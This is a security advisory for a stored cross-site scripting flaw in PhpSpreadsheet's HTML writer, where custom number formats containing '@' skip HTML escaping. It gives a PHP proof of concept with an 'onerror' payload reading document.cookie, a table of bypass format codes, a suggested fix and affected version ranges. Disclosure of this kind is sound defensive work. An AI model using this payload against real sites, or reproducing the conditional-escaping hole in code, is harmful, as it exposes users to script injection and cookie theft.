PhpSpreadsheet has XSS via number format code with @ text placeholder bypasses htmlspecialchars in HTML writer
The advisory, in context
It was discovered that there is a way to bypass HTML escaping in the HTML writer using custom number format codes.
The Problem
In Writer/Html.php around line 1592, the code checks if the formatted cell data equals the original data to decide whether to apply htmlspecialchars():
if ($cellData === $origData) {
$cellData = htmlspecialchars($cellData, ...);
}
When a cell has a custom number format containing @ (text placeholder) with any additional literal characters, the formatter replaces @ with the cell value and adds the extra characters. This makes $cellData !== $origData, so htmlspecialchars() is skipped entirely.
Even a single trailing space in the format (@ ) is enough to bypass the escape.
Proof of Concept
use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Html;
use PhpOffice\PhpSpreadsheet\Cell\DataType;
$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();
// XSS payload with malicious number format
$sheet->setCellValueExplicit('A1', '<img src=x onerror=alert(document.cookie)>', DataType::TYPE_STRING);
$sheet->getStyle('A1')->getNumberFormat()->setFormatCode('. @');
$writer = new Html($spreadsheet);
$writer->save('output.html');
The generated HTML contains:
<td>. <img src=x onerror=alert(document.cookie)></td>
The XSS payload is completely unescaped.
Tested Bypass Formats
| Format Code | Result | Escaped? |
|---|---|---|
General (default) |
Original value | YES (safe) |
. @ |
. + value |
NO (XSS!) |
@ (trailing space) |
value + |
NO (XSS!) |
x@ |
x + value |
NO (XSS!) |
This was tested with PhpSpreadsheet 4.5.0 and confirmed the XSS executes in the browser.
Impact
Any application that:
- Accepts uploaded XLSX files from users
- Converts them to HTML using PhpSpreadsheet's HTML writer
- Displays the HTML to other users
...is vulnerable to stored XSS. The attacker embeds the payload in a cell value and sets a custom number format in the XLSX file's xl/styles.xml.
Suggested Fix
Always apply htmlspecialchars() regardless of whether formatting changed the value:
// Instead of conditional escaping:
$cellData = htmlspecialchars($cellData, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
Or escape AFTER formatting, not conditionally based on equality.
Reporter
Keyvan Hardani
Affected packages
Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.
From 4.0.0 before 5.7.0
Fixed in 5.7.0
14 explicitly affected versions
4.0.0, 4.1.0, 4.2.0, 4.3.0, 4.3.1, 4.4.0, 4.5.0, 5.0.0, 5.1.0, 5.2.0, 5.3.0, 5.4.0, 5.5.0, 5.6.0
View affected-version evidence
{
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "5.7.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"4.0.0",
"4.1.0",
"4.2.0",
"4.3.0",
"4.3.1",
"4.4.0",
"4.5.0",
"5.0.0",
"5.1.0",
"5.2.0",
"5.3.0",
"5.4.0",
"5.5.0",
"5.6.0"
]
}From 3.3.0 before 3.10.5
Fixed in 3.10.5
15 explicitly affected versions
3.10.0, 3.10.1, 3.10.2, 3.10.3, 3.10.4, 3.3.0, 3.4.0, 3.5.0, 3.6.0, 3.7.0, 3.8.0, 3.9.0, 3.9.1, 3.9.2, 3.9.3
View affected-version evidence
{
"ranges": [
{
"events": [
{
"introduced": "3.3.0"
},
{
"fixed": "3.10.5"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.10.0",
"3.10.1",
"3.10.2",
"3.10.3",
"3.10.4",
"3.3.0",
"3.4.0",
"3.5.0",
"3.6.0",
"3.7.0",
"3.8.0",
"3.9.0",
"3.9.1",
"3.9.2",
"3.9.3"
]
}From 2.2.0 before 2.4.5
Fixed in 2.4.5
18 explicitly affected versions
2.2.0, 2.2.1, 2.2.2, 2.3.0, 2.3.10, 2.3.2, 2.3.3, 2.3.4, 2.3.5, 2.3.6, 2.3.7, 2.3.8, 2.3.9, 2.4.0, 2.4.1, 2.4.2, 2.4.3, 2.4.4
View affected-version evidence
{
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.4.5"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.2.0",
"2.2.1",
"2.2.2",
"2.3.0",
"2.3.10",
"2.3.2",
"2.3.3",
"2.3.4",
"2.3.5",
"2.3.6",
"2.3.7",
"2.3.8",
"2.3.9",
"2.4.0",
"2.4.1",
"2.4.2",
"2.4.3",
"2.4.4"
]
}From 2.0.0 before 2.1.16
Fixed in 2.1.16
16 explicitly affected versions
2.0.0, 2.1.0, 2.1.1, 2.1.10, 2.1.11, 2.1.12, 2.1.13, 2.1.14, 2.1.15, 2.1.3, 2.1.4, 2.1.5, 2.1.6, 2.1.7, 2.1.8, 2.1.9
View affected-version evidence
{
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.1.16"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.0.0",
"2.1.0",
"2.1.1",
"2.1.10",
"2.1.11",
"2.1.12",
"2.1.13",
"2.1.14",
"2.1.15",
"2.1.3",
"2.1.4",
"2.1.5",
"2.1.6",
"2.1.7",
"2.1.8",
"2.1.9"
]
}Earlier releases before 1.30.4
Fixed in 1.30.4
61 explicitly affected versions
1.0.0, 1.0.0-beta, 1.0.0-beta2, 1.1.0, 1.10.0, 1.10.1, 1.11.0, 1.12.0, 1.13.0, 1.14.0, 1.14.1, 1.15.0, 1.16.0, 1.17.0, 1.17.1, 1.18.0, 1.19.0, 1.2.0, 1.2.1, 1.20.0, 1.21.0, 1.22.0, 1.23.0, 1.24.0, 1.24.1, 1.25.0, 1.25.1, 1.25.2, 1.26.0, 1.27.0, 1.27.1, 1.28.0, 1.29.0, 1.29.1, 1.29.10, 1.29.11, 1.29.12, 1.29.2, 1.29.4, 1.29.5, 1.29.6, 1.29.7, 1.29.8, 1.29.9, 1.3.0, 1.3.1, 1.30.0, 1.30.1, 1.30.2, 1.30.3, 1.4.0, 1.4.1, 1.5.0, 1.5.1, 1.5.2, 1.6.0, 1.7.0, 1.8.0, 1.8.1, 1.8.2, 1.9.0
View affected-version evidence
{
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.30.4"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.0.0",
"1.0.0-beta",
"1.0.0-beta2",
"1.1.0",
"1.10.0",
"1.10.1",
"1.11.0",
"1.12.0",
"1.13.0",
"1.14.0",
"1.14.1",
"1.15.0",
"1.16.0",
"1.17.0",
"1.17.1",
"1.18.0",
"1.19.0",
"1.2.0",
"1.2.1",
"1.20.0",
"1.21.0",
"1.22.0",
"1.23.0",
"1.24.0",
"1.24.1",
"1.25.0",
"1.25.1",
"1.25.2",
"1.26.0",
"1.27.0",
"1.27.1",
"1.28.0",
"1.29.0",
"1.29.1",
"1.29.10",
"1.29.11",
"1.29.12",
"1.29.2",
"1.29.4",
"1.29.5",
"1.29.6",
"1.29.7",
"1.29.8",
"1.29.9",
"1.3.0",
"1.3.1",
"1.30.0",
"1.30.1",
"1.30.2",
"1.30.3",
"1.4.0",
"1.4.1",
"1.5.0",
"1.5.1",
"1.5.2",
"1.6.0",
"1.7.0",
"1.8.0",
"1.8.1",
"1.8.2",
"1.9.0"
]
}